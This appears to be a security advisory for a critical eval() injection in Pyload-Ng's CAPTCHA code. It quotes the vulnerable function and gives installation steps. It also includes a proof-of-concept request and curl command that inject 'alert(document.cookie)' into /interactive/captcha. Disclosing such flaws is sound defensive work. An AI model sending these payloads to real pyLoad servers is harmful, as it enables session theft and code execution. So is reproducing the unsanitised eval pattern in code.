PT-2026-53570 · Pypi · Pyload-Ng

Published

2026-06-29

·

Updated

2026-06-29

CVSS v3.1

9.8

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details

The vulnerable code resides in
javascript
function onCaptchaResult(result) {
  eval(result); // Direct execution of attacker-controlled input
}
  • The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()
  • No sanitization or validation is performed on this input
  • A malicious CAPTCHA result can include JavaScript such as fetch() or child process.exec() in environments using NodeJS
  • Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods

  1. Official Source Installation:
bash
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
  1. Virtual Environment:
bash
python -m venv pyload-env
source pyload-env/bin/activate
 pip install pyload==0.4.20
pyload

CAPTCHA Endpoint Verification

Technical Clarification:
  1. The vulnerable endpoint is actually:
/interactive/captcha
  1. Complete PoC Request:
http
POST /interactive/captcha HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
 
cid=123&response=1%3Balert(document.cookie)
  1. Curl Command Correction:
bash
curl -X POST "http://localhost:8000/interactive/captcha" 
-d "cid=123&response=1%3Balert(document.cookie)"
  1. Vulnerable Code Location: The eval() vulnerability is confirmed in:
src/pyload/webui/app/static/js/captcha-interactive.user.js

Resources

  1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
  2. [OWASP: Avoid eval()](https://cheatsheetseries.owasp.org/cheatsheets/JavaScript Security Cheat Sheet.html#eval)
  3. #4586

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-496

Affected Products

Pyload-Ng